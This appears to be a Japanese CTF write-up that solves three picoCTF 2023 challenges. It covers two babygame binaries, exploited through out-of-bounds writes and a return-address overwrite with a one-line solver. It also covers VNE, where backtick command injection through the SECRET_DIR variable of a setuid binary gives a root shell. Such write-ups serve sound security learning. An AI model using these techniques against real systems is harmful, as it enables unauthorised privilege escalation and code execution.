picoCTF 2023
pwn
babygame01
問題
Get the flag and reach the exit.
Welcome to BabyGame! Navigate around the map and see what you can find! The game is available to download here. There is no source available, so you'll have to figure your way around the map. You can connect with it using nc host port
解き方
解析
問題バイナリがどのような動作をするのか、どのような関数があるのかなどを調べる。
$ file game
game: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=85fcad170460434c915b5ad675a351a2778e24bb, for GNU/Linux 3.2.0, not stripped
$ checksec game
[*] '/home/ubuntu/workspace/ctf/picoCTF2023/pwn/babygame1/game'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x08049000 _init
0x08049040 __libc_start_main@plt
0x08049050 printf@plt
0x08049060 fflush@plt
0x08049070 getchar@plt
0x08049080 fgets@plt
0x08049090 signal@plt
0x080490a0 sleep@plt
0x080490b0 __stack_chk_fail@plt
0x080490c0 puts@plt
0x080490d0 exit@plt
0x080490e0 fopen@plt
0x080490f0 putchar@plt
0x08049100 _start
0x08049140 _dl_relocate_static_pie
0x08049150 __x86.get_pc_thunk.bx
0x08049160 deregister_tm_clones
0x080491a0 register_tm_clones
0x080491e0 __do_global_dtors_aux
0x08049210 frame_dummy
0x08049216 sigint_handler
0x08049233 win
0x080492c8 init_map
0x0804936e find_player_pos
0x080493e4 find_end_tile_pos
0x08049454 print_flag_status
0x0804948a print_map
0x0804953a init_player
0x08049564 move_player
0x08049639 clear_screen
0x08049677 solve_round
0x08049764 main
0x080498a5 __x86.get_pc_thunk.ax
0x080498b0 __stack_chk_fail_local
0x080498c8 _fini
pwndbg>
以下は問題バイナリを実行した際の出力である。
ゲームのタイルのようなものがあり、"@"がPlayerの位置を示し、画面下の"x"がゴールらしい。
また、タイルのようなものの上には、以下の情報が出力されている。
- Player postion
- End tile position
- Player has flag
"Player has flag"が非常に怪しい。また、Win関数があることからこの関数を呼び出せればFlagを取れるように見える。
Player position: 4 4
End tile position: 29 89
Player has flag: 0
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
....@.....................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
.........................................................................................X
次にGhidraで逆コンパイルしたコードを見ていく。
以下は逆コンパイルした結果である。
※一部変数名を変更、また構造体を定義している
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
undefined4 main(void)
{
int iVar1;
undefined4 uVar2;
int in_GS_OFFSET;
astruct player_info;
undefined local_aa0 [2700];
int local_14;
undefined *local_10;
local_10 = &stack0x00000004;
local_14 = *(int *)(in_GS_OFFSET + 0x14);
init_player(&player_info);
init_map(local_aa0,&player_info);
print_map(local_aa0,&player_info);
signal(2,sigint_handler);
do {
do {
iVar1 = getchar();
move_player((astruct_1 *)&player_info,(int)(char)iVar1,local_aa0);
print_map(local_aa0,&player_info);
} while (player_info.vertical != 0x1d);
} while (player_info.horizon != 0x59);
puts("You win!");
if (player_info.flag != 0) {
puts("flage");
win();
fflush(stdout);
}
uVar2 = 0;
if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) {
uVar2 = __stack_chk_fail_local();
}
return uVar2;
}
player_infoはinit_player関数で定義される。
以下はinit_player関数の処理内容である。
void init_player(astruct *param_1)
{
param_1->vertical = 4;
param_1->horizon = 4;
param_1->flag = 0;
return;
}
また、問題バイナリを実行すると表示される、"Player has flag"は以下の処理で出力されている。
- main関数からprint_map関数をコール
- print_map(local_aa0, &player_info)
- print_map関数からprint_flag_status関数をコール
- print_flag_status(param2)
- "Player has flag {n}"が出力される
print_flag_status関数
void print_flag_status(int param_1)
{
printf("Player has flag: %d\n",(uint)*(byte *)(param_1 + 8));
return;
}
またmain関数内でplayer_info.flagが0以外ならwin関数が呼ばれることから、flagの値に0以外の値をセットすればよさそう。
if (player_info.flag != 0) {
puts("flage");
win();
fflush(stdout);
}
※ win関数
void win(void)
{
FILE *__stream;
int in_GS_OFFSET;
char local_4c [60];
int local_10;
local_10 = *(int *)(in_GS_OFFSET + 0x14);
__stream = fopen("flag.txt","r");
if (__stream == (FILE *)0x0) {
puts("flag.txt not found in current directory");
/* WARNING: Subroutine does not return */
exit(0);
}
fgets(local_4c,0x3c,__stream);
printf(local_4c);
if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
__stack_chk_fail_local();
}
return;
次にgdbでplayer_info構造体がどのようにセットされるかを確認する。
init_playerをコールする際の第一引数が構造体を指すアドレスになるはずなので、これを確認する。
► 0x8049796 <main+50> call init_player <init_player>
arg[0]: 0xffffc694 ◂— 0x3010101
arg[1]: 0x464c457f
arg[2]: 0x3010101
arg[3]: 0x0
setコマンドで適当に名前を付けておくと後々便利。
pwndbg> set $player_info = 0xffffc694
init_player関数からmain関数に戻った直後のplayer_infoの値を確認する。
pwndbg> x/08x $player_info
0xffffc694: 0x00000004 0x00000004 0x00000000 0x00030003
0xffffc6a4: 0x00000001 0x00021770 0x00000034 0x0022c30c
ghidraの逆コンパイル結果は以下の通りであるので、実行時のメモリ内容とも一致する。
void init_player(astruct *param_1)
{
param_1->vertical = 4;
param_1->horizon = 4;
param_1->flag = 0;
return;
}
main関数の処理をコマンド(asdw)入力受付まで進めたところでctrl+cで処理を停止し、この際のplayer_infoの値を確認する。今度はflagが格納されているアドレスの後に2eが連続している。
これは表示されているmapの情報(2eはasciiで"."なため)であると思われる。
pwndbg> x/08x $player_info
0xffffc694: 0x00000004 0x00000004 0x00000000 0x2e2e2e2e
0xffffc6a4: 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e
このゲームはasdwがそれぞれ、a(←)s(↓)d(→)w(↑)に対応しているのでplayerを移動させる。
以下は上に2マス進めた際のplayer_infoである。
pwndbg> x/08x $player_info
0xffffc694: 0x00000002 0x00000004 0x00000000 0x2e2e2e2e
0xffffc6a4: 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e
0xffffc694に入っている値が4->2に変更されたことを確認できる。
win呼び出し
このゲームには欠陥があり、mapの範囲外へplayerを移動させることが可能であるので、これを利用してflagに値をセットする。
初期位置からwwwwaaaaaと入力した際のplayer_infoを確認する。
pwndbg> x/08x $player_info
0xffffc694: 0x00000000 0xffffffff 0x40000000 0x2e2e2e2e
0xffffc6a4: 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e
横軸を示す0xffffc694の値がffで埋められ、"@"を示す0x40が隣のアドレスにセットされている。
さらに3つ左にplayerを移動させると、画面上のflagの値が変化する。
End tile position: 29 89
Player has flag: 64
メモリの中身を確認する。
flagを示すアドレスに0x40がセットされており、flagを入手することができた。
pwndbg> x/08x $player_info
0xffffc694: 0x00000000 0xfffffffc 0x2e2e2e40 0x2e2e2e2e
0xffffc6a4: 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e
あとはplayerをmapの範囲まで戻し、goalさせればクリア。
※"p"を入力すると一気にgoalできる。
You win!
flage
fakeflag
感想
古のゲームのバグみたいで面白かったです。
babygame02
問題
Break the game and get the flag.
Welcome to BabyGame 02! Navigate around the map and see what you can find! The game is available to download here. There is no source available, so you'll have to figure your way around the map. You can connect with it using nc host port.
解き方
babygame01と同じゲームだが、init_playerでflagのセットがされず、win関数も呼び出されない。
しかし、前問同様にplayerをmapの範囲外に移動させることは可能なのでこれを利用してreturnアドレスを変更できればwin関数を呼び出せそう。
しかし、アドレス変更に使えそうな処理が見当たらないので、gameの処理を詳細におってみる。
すると、move_player関数に使えそうな処理があることに気づく。
"l"コマンドを使えばplayer_tileを好きな文字に変更できるようだ。
void move_player(astruct *param_1,char param_2,int param_3)
{
int iVar1;
if (param_2 == 'l') {
iVar1 = getchar();
player_tile = (undefined)iVar1;
}
if (param_2 == 'p') {
solve_round(param_3,param_1);
}
*(undefined *)(param_1->vertical * 0x5a + param_3 + param_1->horizon) = 0x2e;
if (param_2 == 'w') {
param_1->vertical = param_1->vertical + -1;
}
else if (param_2 == 's') {
param_1->vertical = param_1->vertical + 1;
}
else if (param_2 == 'a') {
param_1->horizon = param_1->horizon + -1;
}
else if (param_2 == 'd') {
param_1->horizon = param_1->horizon + 1;
}
*(undefined *)(param_1->vertical * 0x5a + param_3 + param_1->horizon) = player_tile;
return;
また、move_player関数は、playerを移動させる前にplayerが位置しているtileを"."(0x2e)に変更し、移動先のtileをplayer_tileの値に変更している。
これを利用して、move_playerからmainに戻る際のreturnアドレスをwin関数に上書きすればよさそう。
上記の処理からplayerの移動前に"."に変更してしまうため、一部の上書きしかできないが、最下位バイトのみ上書きするだけでwin関数にジャンプできるので問題ない。
実際にmove_player関数からmain関数に戻る際の処理をgdbで確認する。
*EAX 0xffffc84f ◂— 0x2e2e2e71 ('q...')
*EBX 0xffffc6e3 ◂— 0x2e2e2e2e ('....')
*ECX 0x4
*EDX 0x71
*EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
*ESI 0x4
*EBP 0xffffc6b8 —▸ 0xffffd178 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0
*ESP 0xffffc6a0 —▸ 0x80482cc ◂— 0x35 /* '5' */
*EIP 0x8049542 (move_player+206) ◂— lea esp, [ebp - 8]
──────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────────────────────────────────────────────
► 0x8049542 <move_player+206> lea esp, [ebp - 8]
0x8049545 <move_player+209> pop ebx
0x8049546 <move_player+210> pop esi
0x8049547 <move_player+211> pop ebp
0x8049548 <move_player+212> ret
↓
0x8049709 <main+149> add esp, 0x10
0x804970c <main+152> sub esp, 8
0x804970f <main+155> lea eax, [ebp - 0xaa0]
0x8049715 <main+161> push eax
0x8049716 <main+162> lea eax, [ebp - 0xa95]
0x804971c <main+168> push eax
──────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffc6a0 —▸ 0x80482cc ◂— 0x35 /* '5' */
01:0004│ 0xffffc6a4 —▸ 0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf10 (_DYNAMIC) ◂— 0x1
02:0008│ 0xffffc6a8 —▸ 0xffffd244 —▸ 0xffffd390 ◂— '/ctf/picoCTF2023/pwn/babygame2/game2'
03:000c│ 0xffffc6ac —▸ 0xf7ffcb6c (load_time+4) ◂— 0x0
04:0010│ 0xffffc6b0 —▸ 0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf10 (_DYNAMIC) ◂— 0x1
05:0014│ 0xffffc6b4 —▸ 0xffffd244 —▸ 0xffffd390 ◂— '/ctf/picoCTF2023/pwn/babygame2/game2'
06:0018│ ebp 0xffffc6b8 —▸ 0xffffd178 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0
07:001c│ 0xffffc6bc —▸ 0x8049709 (main+149) ◂— add esp, 0x10
0xffffc6bcに0x8049709が格納されており、このアドレスはmain関数でmove_player関数をコール直後のアドレスとなっている。
disass main 出力の一部
0x08049703 <+143>: push eax
0x08049704 <+144>: call 0x8049474 <move_player>
0x08049709 <+149>: add esp,0x10
次にwin関数の処理とアドレスを調べる。
disass win 出力の一部
0x0804975d <+0>: push ebp
0x0804975e <+1>: mov ebp,esp
0x08049760 <+3>: push ebx
0x08049761 <+4>: sub esp,0x44
0x08049764 <+7>: call 0x8049140 <__x86.get_pc_thunk.bx>
0x08049769 <+12>: add ebx,0x2897
0x0804976f <+18>: nop
0x08049770 <+19>: nop
0x08049771 <+20>: nop
0x08049772 <+21>: nop
0x08049773 <+22>: nop
0x08049774 <+23>: nop
0x08049775 <+24>: nop
0x08049776 <+25>: nop
0x08049777 <+26>: nop
0x08049778 <+27>: nop
nopが連続して配置しており明らかに怪しい。
関数呼び出し直後のプロローグ部分ではなく、nopに飛ばすのが良さそうなので0x08049771にジャンプすることを検討する。
スタックに格納されているreturnアドレスは0x8049709なので、最下位バイトを0x71で上書きすればよさそうなので、"lq"でplayer_tileを"q"に変更しておく。
※"q"はアスキーで0x71ため
$ python3
>>> hex(ord("q"))
'0x71'
次に書き込み位置を調整していく。
move_player関数でplayer_tileの値を書き込むのは以下の部分である。
*(undefined *)(param_1->vertical * 0x5a + param_3 + param_1->horizon) = player_tile;
param3の値を確認する。
0x8049704 <main+144> call move_player <move_player>
arg[0]: 0xffffc6d8 ◂— 0x4
arg[1]: 0x6c
arg[2]: 0xffffc6e3 ◂— 0x2e2e2e2e ('....')
arg[3]: 0x80496eb (main+119) ◂— mov byte ptr [ebp - 9], al
arg[2]で与えられているアドレスの中身を見てみると、mapのアドレスのように見える。
pwndbg> x/20x 0xffffc6e3
0xffffc6e3: 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e
0xffffc6f3: 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e
0xffffc703: 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e
0xffffc713: 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e
0xffffc723: 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e
上記から初期位置から1つ上のtileに移動する際にplayer_tileの値を書き込むアドレスは、以下のようになるはずである。
>>> hex(3 * 0x5a + 0xffffc6e3 + 4)
'0xffffc7f5'
param_1->vertical * 0x5a + param_3 + param_1->horizon
param_1->vertical: 0x3
param_3: 0xffffc6e3
param_1->horizon: 0x4
gdbで実際に上記のアドレスになっているか確認する。
推測通り、0xffffc7f5にplayer_tileの値を書き込んでいる。
*EAX 0xffffc7f5 ◂— 0x2e2e2e2e ('....')
*EBX 0xffffc6e3 ◂— 0x2e2e2e2e ('....')
*ECX 0x3
*EDX 0x40
*EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
*ESI 0x4
*EBP 0xffffc6b8 —▸ 0xffffd178 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0
*ESP 0xffffc6a0 —▸ 0x80482cc ◂— 0x35 /* '5' */
*EIP 0x804953f (move_player+203) ◂— mov byte ptr [eax], dl
──────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────────────────────────────────────────────
► 0x804953f <move_player+203> mov byte ptr [eax], dl
0x8049541 <move_player+205> nop
main関数へのreturnアドレスは0xffffc6bcに格納されているので、書き込む位置を調整する。
param3のアドレスは0xffffc6e3なのでverticalかhorizonの値をマイナスにする必要があるので、playerをmapの範囲外に移動させ、調整していく。
掛け算が面倒なので、verticalに0をセットし、horizonには0xffffffd9をセットされるようにplayerを移動させればreturn アドレスの一部が上書きされ、retした際にwin関数にジャンプする。
以下はsolverである。
$ python2 -c "print 'l'+'\x71'+'w'*5+'a'*43+'s'" | ./game2
※wを5回入力しているのは移動の途中でセグメンテーションフォルトを起さないため
(snip)
End tile position: 29 89
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
.........................................................................................X
fake
感想
どんな仕組みになっているか理解しないと解けない問題でした。
解析があまり得意でないのでいいエクササイズになりました。
VNE
問題
We've got a binary that can list directories as root, try it out !!
ssh to host:port, and run the binary named "bin" once connected. Login as ctf-player with the password, xxxxxx
解法
権限昇格問題。
binというバイナリにsetuidがセットされているのでこれを使って権限昇格する。
ctf-player@pico-chall$ ls -la
total 28
drwxr-xr-x 1 ctf-player ctf-player 41 Apr 5 11:44 .
drwxr-xr-x 1 root root 40 Apr 5 11:45 ..
-rw------- 1 root root 136 Apr 5 11:45 .bash_history
drwx------ 2 ctf-player ctf-player 34 Apr 5 11:39 .cache
-rw-r--r-- 1 root root 67 Mar 16 01:59 .profile
-rwsr-xr-x 1 root root 18752 Mar 16 01:59 bin
binを実行すると、環境変数SECRET_DIRに値がセットされていないとエラーが出る。
ctf-player@pico-chall$ ./bin
Error: SECRET_DIR environment variable is not set
問題文にディレクトリ云々と書いてあるので/rootをセットし再度実行する。
実行結果は以下の通り。
ctf-player@pico-chall$export SECRET_DIR=/root
ctf-player@pico-chall$ ./bin
Listing the content of /root as root:
flag.txt
lsを実行しているだけっぽいのでSECRET_DIRに/bin/bash
をセットする。
linuxコマンドラインではバッククォートは囲った部分をコマンド実行し、結果を出力する。
ctf-player@pico-chall$export SECRET_DIR='`/bin/bash`'
※シングルクォートで囲っているのは環境変数にセットするときコマンド実行されないようにするため
ctf-player@pico-chall$ env
SHELL=/bin/bash
PWD=/home/ctf-player
LOGNAME=ctf-player
SECRET_DIR=`/bin/bash`
うまくセットできた。
binを実行するとrootのシェルが取れる。
コマンド実行結果が標準出力に返ってこないが、ファイル権限変更してあげればflagを読める。
ctf-player@pico-chall$ ./bin
Listing the content of `/bin/bash` as root:
root@challenge:~# cp /root/flag.txt /home
root@challenge:~# chmod 777 /home/flag.txt
root@challenge:~# exit
ctf-player@pico-chall$ cat /home/flag.txt
picoCTF{xxxxx}
Discussion